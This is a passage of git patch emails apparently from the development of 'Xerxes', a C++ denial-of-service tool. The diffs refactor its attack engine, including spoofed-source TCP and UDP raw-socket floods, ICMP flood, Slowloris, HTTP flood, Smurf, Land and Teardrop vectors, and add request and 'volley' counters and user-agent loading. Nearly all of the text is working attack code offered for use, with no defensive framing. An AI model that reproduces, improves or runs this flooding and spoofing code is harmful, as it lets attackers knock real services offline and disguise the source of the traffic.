static_cast(header.length()))) == -1){ + if((write_socket(SSLs[x], header.get().c_str(), static_cast(header.length()))) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); CTXs[x] = InitCTX(); @@ -71,7 +68,6 @@ void Slowloris::attack_ssl() { if(conf->GetResponse){ read_socket(SSLs[x]); } - conf->voly++; } } conf->voly++; diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 1872309..176ccef 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -11,7 +11,6 @@ #include "../Headers/Logging.hpp" void Spoofed_TCP_Flood::attack() { - int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { @@ -69,13 +68,10 @@ void Spoofed_TCP_Flood::attack() { tcp->check = csum( (unsigned short*) pseudogram , psize); - if((r = static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1){ + if((static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1){ close(sockets[x]); sockets[x] = make_socket(IPPROTO_TCP); - }else{ - conf->voly++; } - delete pseudogram; } conf->voly++; diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index 0ccb758..66e1500 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -11,7 +11,6 @@ #include "../Headers/Logging.hpp" void Spoofed_UDP_Flood::attack() { - int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { @@ -69,13 +68,10 @@ void Spoofed_UDP_Flood::attack() { udp->check = csum( (unsigned short*) pseudogram , psize); - if((r = static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1){ + if((static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1) { close(sockets[x]); sockets[x] = make_socket(IPPROTO_UDP); - }else{ - conf->voly++; } - delete pseudogram; } conf->voly++; From acdb2c02cafb5247bc7a11bfce71519092b4fd0b Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Sat, 2 Jun 2018 00:29:37 +0400 Subject: [PATCH 08/20] Debugging... --- Headers/Configuration.hpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index 431a0da..8305aaf 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -39,8 +39,8 @@ struct Config{ void show_stat(){ if((!website.empty()) && (voly > 0)){ timer.end_time = clock(); - fprintf(stdout, "--- %s Attack statistics ---\n%llu Voly sent, time %f s\n", website.c_str(), voly, - ((float)timer.get())/CLOCKS_PER_SEC); + fprintf(stdout, "--- %s Attack statistics ---\n%llu Voly sent, %llu Request sent, Time %f s\n", + website.c_str(), voly, voly * CONNECTIONS,((float)timer.get())/CLOCKS_PER_SEC); } } }; From 192794e49081de13a6f89534a1c4a47aa6325ea7 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Sat, 2 Jun 2018 10:49:02 +0400 Subject: [PATCH 09/20] Adding Features... --- Headers/Configuration.hpp | 9 ++++++--- Sources/Beast.cpp | 3 ++- Sources/Http_Flood.cpp | 6 ++++-- Sources/ICMP_Flood.cpp | 4 +++- Sources/Null_Flood.cpp | 6 ++++-- Sources/Slowloris.cpp | 6 ++++-- Sources/Spoofed_TCP_Flood.cpp | 4 +++- Sources/Spoofed_UDP_Flood.cpp | 4 +++- 8 files changed, 29 insertions(+), 13 deletions(-) diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index 8305aaf..461b93a 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -28,7 +28,8 @@ struct Config{ bool RandomizePort{false}; int delay{0}; const std::unique_ptr> useragents = std::make_unique>(); - unsigned long long voly = 0; + unsigned long long *voly = new unsigned long long(0); + unsigned long long *req = new unsigned long long(0); struct Timer{ clock_t start_time; clock_t end_time; @@ -37,11 +38,13 @@ struct Config{ } }timer; void show_stat(){ - if((!website.empty()) && (voly > 0)){ + if((!website.empty()) && (*voly > 0) && (*req > 0)){ timer.end_time = clock(); fprintf(stdout, "--- %s Attack statistics ---\n%llu Voly sent, %llu Request sent, Time %f s\n", - website.c_str(), voly, voly * CONNECTIONS,((float)timer.get())/CLOCKS_PER_SEC); + website.c_str(), *voly, *req,((float)timer.get())/CLOCKS_PER_SEC); } + delete voly; + delete req; } }; diff --git a/Sources/Beast.cpp b/Sources/Beast.cpp index 2472c7c..4e4421e 100755 --- a/Sources/Beast.cpp +++ b/Sources/Beast.cpp @@ -58,8 +58,9 @@ void Beast::attack() { PEER_write(&peers[i]); continue; } + (*conf->req)++; } - conf->voly++; + (*conf->voly)++; pause(); } diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp index 087d3de..bf3b95c 100755 --- a/Sources/Http_Flood.cpp +++ b/Sources/Http_Flood.cpp @@ -135,9 +135,10 @@ void Http_Flood::attack() { if(conf->GetResponse){ read_socket(sockets[x]); } + (*conf->req)++; } } - conf->voly++; + (*conf->voly)++; pause(); } } @@ -172,9 +173,10 @@ void Http_Flood::attack_ssl() { if(conf->GetResponse){ read_socket(SSLs[x]); } + (*conf->req)++; } } - conf->voly++; + (*conf->voly)++; pause(); } } diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index 058501a..8bfcb07 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -58,9 +58,11 @@ void ICMP_Flood::attack() { if((static_cast(sendto(sockets[x], buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)))) == -1){ close(sockets[x]); sockets[x] = make_socket(IPPROTO_ICMP); + }else{ + (*conf->req)++; } } - conf->voly++; + (*conf->voly)++; pause(); } } diff --git a/Sources/Null_Flood.cpp b/Sources/Null_Flood.cpp index 551779a..b23d05f 100755 --- a/Sources/Null_Flood.cpp +++ b/Sources/Null_Flood.cpp @@ -22,9 +22,10 @@ void Null_Flood::attack() { if(conf->GetResponse){ read_socket(sockets[x]); } + (*conf->req)++; } } - conf->voly++; + (*conf->voly)++; pause(); } } @@ -58,9 +59,10 @@ void Null_Flood::attack_ssl() { if(conf->GetResponse){ read_socket(SSLs[x]); } + (*conf->req)++; } } - conf->voly++; + (*conf->voly)++; pause(); } } diff --git a/Sources/Slowloris.cpp b/Sources/Slowloris.cpp index 4ef5fdd..3f37b37 100755 --- a/Sources/Slowloris.cpp +++ b/Sources/Slowloris.cpp @@ -28,9 +28,10 @@ void Slowloris::attack() { if(conf->GetResponse){ read_socket(sockets[x]); } + (*conf->req)++; } } - conf->voly++; + (*conf->voly)++; pause(); } } @@ -68,9 +69,10 @@ void Slowloris::attack_ssl() { if(conf->GetResponse){ read_socket(SSLs[x]); } + (*conf->req)++; } } - conf->voly++; + (*conf->voly)++; pause(); } } diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 176ccef..8ddcd0e 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -71,10 +71,12 @@ void Spoofed_TCP_Flood::attack() { if((static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1){ close(sockets[x]); sockets[x] = make_socket(IPPROTO_TCP); + }else{ + (*conf->req)++; } delete pseudogram; } - conf->voly++; + (*conf->voly)++; pause(); } } diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index 66e1500..ef61d96 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -71,10 +71,12 @@ void Spoofed_UDP_Flood::attack() { if((static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1) { close(sockets[x]); sockets[x] = make_socket(IPPROTO_UDP); + }else{ + (*conf->req)++; } delete pseudogram; } - conf->voly++; + (*conf->voly)++; pause(); } } From 952bcb5f45ae6c58858d3ffa4363b4248fa78004 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Sat, 2 Jun 2018 12:31:48 +0400 Subject: [PATCH 10/20] Debugging... --- Headers/httphdr.hpp | 2 +- Sources/httphdr.cpp | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Headers/httphdr.hpp b/Headers/httphdr.hpp index f0c41ec..34d4bb8 100644 --- a/Headers/httphdr.hpp +++ b/Headers/httphdr.hpp @@ -12,7 +12,7 @@ class httphdr { void generate(); void generate_unterminated(); - std::string get(); + std::string& get(); unsigned long length(); std::string method{}; diff --git a/Sources/httphdr.cpp b/Sources/httphdr.cpp index 3033315..5ffe648 100644 --- a/Sources/httphdr.cpp +++ b/Sources/httphdr.cpp @@ -23,7 +23,7 @@ void httphdr::generate() { hdr += TERMINATOR; } -std::string httphdr::get() { +std::string& httphdr::get() { return hdr; } From 3179c262e54c20e46bb43fc5b7a8c5711e67c55c Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Sun, 3 Jun 2018 12:18:31 +0400 Subject: [PATCH 11/20] Optimizing... --- Headers/Configuration.hpp | 16 +++-- Headers/Engine.hpp | 1 + Headers/ICMP_Flood.hpp | 2 + Headers/Randomizer.hpp | 14 ++--- Headers/Spoofed_Flood.hpp | 3 - Headers/Spoofed_TCP_Flood.hpp | 2 + Headers/Spoofed_UDP_Flood.hpp | 2 + Headers/httphdr.hpp | 7 ++- Sources/Attack_Vector.cpp | 2 +- Sources/Beast.cpp | 1 - Sources/Engine.cpp | 112 +++++++++++++++------------------- Sources/Http_Flood.cpp | 5 +- Sources/ICMP_Flood.cpp | 2 - Sources/Null_Flood.cpp | 2 +- Sources/Parser.cpp | 1 - Sources/Slowloris.cpp | 6 +- Sources/Spoofed_Flood.cpp | 2 +- Sources/Spoofed_TCP_Flood.cpp | 5 +- Sources/Spoofed_UDP_Flood.cpp | 5 +- Sources/Validator.cpp | 1 + Sources/httphdr.cpp | 22 ++++--- main.cpp | 2 +- 22 files changed, 104 insertions(+), 111 deletions(-) diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index 461b93a..032b3cb 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -27,22 +27,30 @@ struct Config{ bool RandomizeSource{false}; bool RandomizePort{false}; int delay{0}; - const std::unique_ptr> useragents = std::make_unique>(); - unsigned long long *voly = new unsigned long long(0); - unsigned long long *req = new unsigned long long(0); + std::vector *useragents = nullptr; + unsigned long long *voly = nullptr; + unsigned long long *req = nullptr; struct Timer{ clock_t start_time; clock_t end_time; clock_t get(){ return end_time - start_time; } - }timer; + }timer{}; void show_stat(){ if((!website.empty()) && (*voly > 0) && (*req > 0)){ timer.end_time = clock(); fprintf(stdout, "--- %s Attack statistics ---\n%llu Voly sent, %llu Request sent, Time %f s\n", website.c_str(), *voly, *req,((float)timer.get())/CLOCKS_PER_SEC); } + } + Config(){ + useragents = new std::vector(); + voly = new unsigned long long(0); + req = new unsigned long long(0); + } + ~Config(){ + delete useragents; delete voly; delete req; } diff --git a/Headers/Engine.hpp b/Headers/Engine.hpp index d7c99fb..15db70d 100755 --- a/Headers/Engine.hpp +++ b/Headers/Engine.hpp @@ -7,6 +7,7 @@ class Engine { public: explicit Engine(std::shared_ptr conf); void run(); + void show_info(); private: std::shared_ptr conf; diff --git a/Headers/ICMP_Flood.hpp b/Headers/ICMP_Flood.hpp index 9e75d1d..cca6b11 100755 --- a/Headers/ICMP_Flood.hpp +++ b/Headers/ICMP_Flood.hpp @@ -1,6 +1,8 @@ #ifndef XERXES_ICMP_FLOOD_H #define XERXES_ICMP_FLOOD_H +#include + #include "Spoofed_Flood.hpp" class ICMP_Flood : public Spoofed_Flood { diff --git a/Headers/Randomizer.hpp b/Headers/Randomizer.hpp index adb6656..04d094a 100755 --- a/Headers/Randomizer.hpp +++ b/Headers/Randomizer.hpp @@ -17,13 +17,13 @@ namespace Randomizer{ } static const void randomIP(std::string& src){ - src = std::to_string(randomInt(1, 256)); - src += "." - + std::to_string(randomInt(1, 256)) - + "." - + std::to_string(randomInt(1, 256)) - + "." - + std::to_string(randomInt(1, 256)); + src = std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)); } static int randomPort(){ diff --git a/Headers/Spoofed_Flood.hpp b/Headers/Spoofed_Flood.hpp index 3c1615a..380d40e 100755 --- a/Headers/Spoofed_Flood.hpp +++ b/Headers/Spoofed_Flood.hpp @@ -2,9 +2,6 @@ #define XERXES_SPOOFED_FLOOD_H #include -#include -#include -#include #include "Configuration.hpp" #include "Attack_Vector.hpp" diff --git a/Headers/Spoofed_TCP_Flood.hpp b/Headers/Spoofed_TCP_Flood.hpp index 00a17bb..994e6bf 100755 --- a/Headers/Spoofed_TCP_Flood.hpp +++ b/Headers/Spoofed_TCP_Flood.hpp @@ -1,6 +1,8 @@ #ifndef XERXES_SPOOFED_TCP_FLOOD_H #define XERXES_SPOOFED_TCP_FLOOD_H +#include + #include "Spoofed_Flood.hpp" class Spoofed_TCP_Flood : public Spoofed_Flood { diff --git a/Headers/Spoofed_UDP_Flood.hpp b/Headers/Spoofed_UDP_Flood.hpp index ca8dfaf..e21ae68 100755 --- a/Headers/Spoofed_UDP_Flood.hpp +++ b/Headers/Spoofed_UDP_Flood.hpp @@ -1,6 +1,8 @@ #ifndef XERXES_SPOOFED_UDP_FLOOD_H #define XERXES_SPOOFED_UDP_FLOOD_H +#include + #include "Spoofed_Flood.hpp" class Spoofed_UDP_Flood : public Spoofed_Flood { diff --git a/Headers/httphdr.hpp b/Headers/httphdr.hpp index 34d4bb8..bc7bd51 100644 --- a/Headers/httphdr.hpp +++ b/Headers/httphdr.hpp @@ -9,10 +9,11 @@ class httphdr { public: httphdr& operator=(std::string& header) noexcept; httphdr& operator=(httphdr&& header) noexcept; - + httphdr(); + virtual ~httphdr(); void generate(); void generate_unterminated(); - std::string& get(); + const char *get(); unsigned long length(); std::string method{}; @@ -32,7 +33,7 @@ class httphdr { private: - std::string hdr{}; + std::string *hdr = nullptr; }; diff --git a/Sources/Attack_Vector.cpp b/Sources/Attack_Vector.cpp index 103cf58..0909aea 100755 --- a/Sources/Attack_Vector.cpp +++ b/Sources/Attack_Vector.cpp @@ -1,5 +1,5 @@ #include -#include + #include "../Headers/Attack_Vector.hpp" Attack_Vector::Attack_Vector(std::shared_ptr conf) : conf{std::move(conf)}{ diff --git a/Sources/Beast.cpp b/Sources/Beast.cpp index 4e4421e..c291de2 100755 --- a/Sources/Beast.cpp +++ b/Sources/Beast.cpp @@ -2,7 +2,6 @@ #include #include #include -#include #include #include "../Headers/Beast.hpp" diff --git a/Sources/Engine.cpp b/Sources/Engine.cpp index 8a40185..dfd607c 100755 --- a/Sources/Engine.cpp +++ b/Sources/Engine.cpp @@ -1,104 +1,91 @@ -#include -#include #include -#include +#include + #include "../Headers/Engine.hpp" #include "../Headers/Attack_Vectors.hpp" #include "../Headers/Logging.hpp" void Engine::run() { std::unique_ptr flood; - char message[512]{}; - snprintf(message, sizeof(message), "Attacking %s:%s with %d Threads, %d Connections", - conf->website.c_str(), conf->port.c_str(), conf->THREADS, conf->CONNECTIONS); - print_info(message); - snprintf(message, sizeof(message), "Delay: %d microsecs", conf->delay); - print_info(message); + show_info(); switch(conf->vector){ - case Config::HTTP: - print_info("Attack Vector: HTTP"); - flood = std::make_unique(conf); - break; case Config::NullTCP: - print_info("Attack Vector: NullTCP"); - flood = std::make_unique(conf); - break; case Config::NullUDP: - print_info("Attack Vector: NullUDP"); flood = std::make_unique(conf); break; + case Config::HTTP: case Config::UDPFlood: - print_info("Attack Vector: UDPFlood"); - flood = std::make_unique(conf); - break; case Config::TCPFlood: - print_info("Attack Vector: TCPFlood"); flood = std::make_unique(conf); break; case Config::Slowloris: - print_info("Attack Vector: Slowloris"); - flood = std::make_unique(conf); - break; case Config::Rudy: - print_info("Attack Vector: Rudy"); flood = std::make_unique(conf); break; + case Config::Smurf: case Config::ICMPFlood: - print_info("Attack Vector: ICMP Flood"); - flood = std::make_unique(conf); - break; case Config::Blacknurse: - print_info("Attack Vector: Black Nurse"); flood = std::make_unique(conf); break; + case Config::Land: case Config::SpoofedSyn: - print_info("Attack Vector: Spoofed Syn Flood"); - flood = std::make_unique(conf); - break; case Config::SpoofedAck: - print_info("Attack Vector: Spoofed Ack Flood"); - flood = std::make_unique(conf); - break; case Config::SpoofedRST: - print_info("Attack Vector: Spoofed Rst Flood"); - flood = std::make_unique(conf); - break; case Config::SpoofedURG: - print_info("Attack Vector: Spoofed Urg Flood"); - flood = std::make_unique(conf); - break; case Config::SpoofedPUSH: - print_info("Attack Vector: Spoofed Push Flood"); - flood = std::make_unique(conf); - break; case Config::SpoofedFin: - print_info("Attack Vector: Spoofed Fin Flood"); flood = std::make_unique(conf); break; + case Config::TearDrop: case Config::SpoofedUDP: - print_info("Attack Vector: Spoofed UDP"); flood = std::make_unique(conf); break; case Config::Beast: - print_info("Attack Vector: Beast"); flood = std::make_unique(conf); break; - case Config::TearDrop: - print_info("Attack Vector: Teardrop"); - flood = std::make_unique(conf); - break; - case Config::Land: - print_info("Attack Vector: Land"); - flood = std::make_unique(conf); - break; - case Config::Smurf:{ - print_info("Attack Vector: Smurf"); - flood = std::make_unique(conf); - break; - } default:break; } + conf->timer.start_time = clock(); + flood->run(); +} + +Engine::Engine(std::shared_ptr conf) : conf{std::move(conf)}{ + +} + +void Engine::show_info() { + char message[512]{}; + snprintf(message, sizeof(message), "Attacking %s:%s with %d Threads, %d Connections", + conf->website.c_str(), conf->port.c_str(), conf->THREADS, conf->CONNECTIONS); + print_info(message); + snprintf(message, sizeof(message), "Delay: %d microsecs", conf->delay); + print_info(message); + std::map title{}; + title[Config::HTTP] = "HTTP"; + title[Config::NullTCP] = "NullTCP"; + title[Config::NullUDP] = "NullUDP"; + title[Config::UDPFlood] = "UDPFlood"; + title[Config::TCPFlood] = "TCPFlood"; + title[Config::Slowloris] = "Slowloris"; + title[Config::Rudy] = "Rudy"; + title[Config::ICMPFlood] = "ICMP Flood"; + title[Config::Blacknurse] = "Black Nurse"; + title[Config::SpoofedSyn] = "Spoofed Syn Flood"; + title[Config::SpoofedAck] = "Spoofed Ack Flood"; + title[Config::SpoofedFin] = "Spoofed Fin Flood"; + title[Config::SpoofedPUSH] = "Spoofed Push Flood"; + title[Config::SpoofedRST] = "Spoofed Rst Flood"; + title[Config::SpoofedURG] = "Spoofed Urg Flood"; + title[Config::SpoofedUDP] = "Spoofed UDP"; + title[Config::TearDrop] = "Teardrop"; + title[Config::Beast] = "Beast"; + title[Config::Land] = "Land"; + title[Config::Smurf] = "Smurf"; + + snprintf(message, sizeof(message), "Attack Vector: %s", title[conf->vector]); + print_info(message); + if(conf->UseSSL){ print_info("SSL Enabled"); } @@ -114,10 +101,7 @@ void Engine::run() { if(conf->RandomizePort){ print_info("Port Randomization Enabled"); } - fprintf(stdout, "%s", "--- press to stop ---\n\n\n"); - flood->run(); -} -Engine::Engine(std::shared_ptr conf) : conf{std::move(conf)}{ + fprintf(stdout, "%s", "--- press to stop ---\n\n\n"); } diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp index bf3b95c..db288d5 100755 --- a/Sources/Http_Flood.cpp +++ b/Sources/Http_Flood.cpp @@ -1,6 +1,5 @@ #include #include -#include #include #include @@ -128,7 +127,7 @@ void Http_Flood::attack() { } httphdr header{}; init_header(&header); - if((write_socket(sockets[x], header.get().c_str(), static_cast(header.length()))) == -1){ + if((write_socket(sockets[x], header.get(), static_cast(header.length()))) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); }else{ @@ -164,7 +163,7 @@ void Http_Flood::attack_ssl() { } httphdr header{}; init_header(&header); - if((write_socket(SSLs[x], header.get().c_str(), static_cast(header.length()))) == -1){ + if((write_socket(SSLs[x], header.get(), static_cast(header.length()))) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); CTXs[x] = InitCTX(); diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index 8bfcb07..5eede05 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -1,9 +1,7 @@ #include #include -#include #include #include -#include #include "../Headers/ICMP_Flood.hpp" #include "../Headers/Randomizer.hpp" diff --git a/Sources/Null_Flood.cpp b/Sources/Null_Flood.cpp index b23d05f..24fd6ba 100755 --- a/Sources/Null_Flood.cpp +++ b/Sources/Null_Flood.cpp @@ -1,6 +1,6 @@ #include -#include + #include "../Headers/Null_Flood.hpp" void Null_Flood::attack() { diff --git a/Sources/Parser.cpp b/Sources/Parser.cpp index c4c3014..04c7bbd 100755 --- a/Sources/Parser.cpp +++ b/Sources/Parser.cpp @@ -1,7 +1,6 @@ #include #include #include -#include #include #include "../Headers/Parser.hpp" diff --git a/Sources/Slowloris.cpp b/Sources/Slowloris.cpp index 3f37b37..5c817c1 100755 --- a/Sources/Slowloris.cpp +++ b/Sources/Slowloris.cpp @@ -1,6 +1,4 @@ #include -#include -#include #include #include "../Headers/Slowloris.hpp" @@ -19,7 +17,7 @@ void Slowloris::attack() { init_header(&header); } - if((write_socket(sockets[x], header.get().c_str(), static_cast(header.length()))) == -1){ + if((write_socket(sockets[x], header.get(), static_cast(header.length()))) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); init_header(&header); @@ -58,7 +56,7 @@ void Slowloris::attack_ssl() { init_header(&header); } - if((write_socket(SSLs[x], header.get().c_str(), static_cast(header.length()))) == -1){ + if((write_socket(SSLs[x], header.get(), static_cast(header.length()))) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); CTXs[x] = InitCTX(); diff --git a/Sources/Spoofed_Flood.cpp b/Sources/Spoofed_Flood.cpp index a045978..412c472 100755 --- a/Sources/Spoofed_Flood.cpp +++ b/Sources/Spoofed_Flood.cpp @@ -1,5 +1,5 @@ #include -#include + #include "../Headers/Spoofed_Flood.hpp" #include "../Headers/Logging.hpp" diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 8ddcd0e..65b3cae 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -1,11 +1,8 @@ #include #include #include -#include -#include #include -#include -#include + #include "../Headers/Randomizer.hpp" #include "../Headers/Spoofed_TCP_Flood.hpp" #include "../Headers/Logging.hpp" diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index ef61d96..a7ca249 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -1,11 +1,8 @@ #include #include #include -#include -#include #include -#include -#include + #include "../Headers/Randomizer.hpp" #include "../Headers/Spoofed_UDP_Flood.hpp" #include "../Headers/Logging.hpp" diff --git a/Sources/Validator.cpp b/Sources/Validator.cpp index ba07b1b..2f6c79d 100755 --- a/Sources/Validator.cpp +++ b/Sources/Validator.cpp @@ -1,6 +1,7 @@ #include #include #include + #include "../Headers/Validator.hpp" Validator::Validator() = default; diff --git a/Sources/httphdr.cpp b/Sources/httphdr.cpp index 5ffe648..07d420f 100644 --- a/Sources/httphdr.cpp +++ b/Sources/httphdr.cpp @@ -3,7 +3,7 @@ #define TERMINATOR "\r\n" void httphdr::generate_unterminated() { - hdr = method + " /" + path + " HTTP/1.0" + TERMINATOR + *hdr = method + " /" + path + " HTTP/1.0" + TERMINATOR + "User-Agent: " + useragent + TERMINATOR + "Cache-Control: " + cache_control + TERMINATOR + "Accept-Encoding: " + encoding + TERMINATOR @@ -20,19 +20,19 @@ void httphdr::generate_unterminated() { void httphdr::generate() { generate_unterminated(); - hdr += TERMINATOR; + *hdr += TERMINATOR; } -std::string& httphdr::get() { - return hdr; +const char *httphdr::get() { + return hdr->c_str(); } unsigned long httphdr::length() { - return hdr.length(); + return hdr->length(); } httphdr& httphdr::operator=(std::string& header) noexcept{ - hdr = header; + *hdr = header; return *this; } @@ -51,6 +51,14 @@ httphdr& httphdr::operator=(httphdr&& header) noexcept{ DNT = header.DNT; accept = header.accept; content_length = header.content_length; - hdr = header.get(); + *hdr = *header.get(); return *this; } + +httphdr::httphdr() { + hdr = new std::string{}; +} + +httphdr::~httphdr() { + delete hdr; +} diff --git a/main.cpp b/main.cpp index 9bb601c..ab9eee2 100755 --- a/main.cpp +++ b/main.cpp @@ -3,6 +3,7 @@ #include #include #include + #include "Headers/Parser.hpp" #include "Headers/Logging.hpp" @@ -47,7 +48,6 @@ int main(const int argc, const char *argv[]) { parser->parse_commandline(argc, argv); auto validator = std::make_unique(config); if(validator->Validate()){ - config->timer.start_time = clock(); auto engine = std::make_unique(config); engine->run(); }else{ From 4bf94733e8c9f5a60041d4adacd4fec3b1cdebbe Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Sun, 3 Jun 2018 13:06:08 +0400 Subject: [PATCH 12/20] Optimizing... --- Headers/Configuration.hpp | 3 ++- Headers/Engine.hpp | 1 + Headers/Parser.hpp | 1 - Sources/Engine.cpp | 25 ++++++++++++++++++++++++- Sources/Parser.cpp | 21 --------------------- 5 files changed, 27 insertions(+), 24 deletions(-) diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index 032b3cb..3caeb20 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -40,12 +40,13 @@ struct Config{ void show_stat(){ if((!website.empty()) && (*voly > 0) && (*req > 0)){ timer.end_time = clock(); - fprintf(stdout, "--- %s Attack statistics ---\n%llu Voly sent, %llu Request sent, Time %f s\n", + fprintf(stdout, "--- %s Attack statistics ---\n%llu Volys sent, %llu Requests sent, Time %f s\n", website.c_str(), *voly, *req,((float)timer.get())/CLOCKS_PER_SEC); } } Config(){ useragents = new std::vector(); + useragents->emplace_back("Wget/1.16 (linux-gnu/Xerxes)"); voly = new unsigned long long(0); req = new unsigned long long(0); } diff --git a/Headers/Engine.hpp b/Headers/Engine.hpp index 15db70d..2f6a992 100755 --- a/Headers/Engine.hpp +++ b/Headers/Engine.hpp @@ -11,6 +11,7 @@ class Engine { private: std::shared_ptr conf; + void getUserAgents(); }; diff --git a/Headers/Parser.hpp b/Headers/Parser.hpp index 9d9d5c8..0e56262 100755 --- a/Headers/Parser.hpp +++ b/Headers/Parser.hpp @@ -21,7 +21,6 @@ class Parser { private: std::shared_ptr conf; void check_root(); - void getUserAgents(); void init_arguments(); std::map> arguments; }; diff --git a/Sources/Engine.cpp b/Sources/Engine.cpp index dfd607c..c2a816f 100755 --- a/Sources/Engine.cpp +++ b/Sources/Engine.cpp @@ -1,5 +1,7 @@ #include #include +#include +#include #include "../Headers/Engine.hpp" #include "../Headers/Attack_Vectors.hpp" @@ -93,7 +95,11 @@ void Engine::show_info() { print_info("Header Randomization Enabled"); } if(conf->RandomizeUserAgent){ - print_info("Useragent Randomization Enabled"); + getUserAgents(); + snprintf(message, sizeof(message), "Useragent Randomization Enabled(%lu Useragents loaded)", + conf->useragents->size()); + print_info(message); + } if(conf->RandomizeSource){ print_info("Source Randomization Enabled"); @@ -105,3 +111,20 @@ void Engine::show_info() { fprintf(stdout, "%s", "--- press to stop ---\n\n\n"); } + +void Engine::getUserAgents() { + std::ifstream filestream("useragents"); + std::string line{}; + if(filestream.good() & filestream.is_open()){ + long count = std::count(std::istreambuf_iterator(filestream), std::istreambuf_iterator(), '\n'); + filestream.clear(); + filestream.seekg(0, std::ios::beg); + conf->useragents->reserve(static_cast(count) +1); + while(getline(filestream, line)){ + conf->useragents->emplace_back(line); + } + filestream.close(); + }else{ + print_warning("Unable to find useragents file"); + } +} diff --git a/Sources/Parser.cpp b/Sources/Parser.cpp index 04c7bbd..e0fcfbb 100755 --- a/Sources/Parser.cpp +++ b/Sources/Parser.cpp @@ -1,7 +1,5 @@ #include -#include #include -#include #include "../Headers/Parser.hpp" #include "../Headers/Logging.hpp" @@ -66,7 +64,6 @@ void Parser::parse_commandline(int argc, const char *argv[]) { } } check_root(); - getUserAgents(); } Parser::Parser() = default; @@ -82,24 +79,6 @@ void Parser::check_root() { } } -void Parser::getUserAgents() { - conf->useragents->emplace_back("Wget/1.16 (linux-gnu/Xerxes)"); - std::ifstream filestream("useragents"); - std::string line{}; - if(filestream.good() & filestream.is_open()){ - long count = std::count(std::istreambuf_iterator(filestream), std::istreambuf_iterator(), '\n'); - filestream.clear(); - filestream.seekg(0, std::ios::beg); - conf->useragents->reserve(static_cast(count) +1); - while(getline(filestream, line)){ - conf->useragents->emplace_back(line); - } - filestream.close(); - }else{ - print_warning("Unable to find useragents file"); - } -} - void Parser::init_arguments() { // Attack Vector arguments["-h"] = [&](const char*){conf->vector = Config::HTTP;conf->protocol = Config::TCP;}; From fde1c723e2435cc284a9658ebe3119c42ee01832 Mon Sep 17 00:00:00 2001 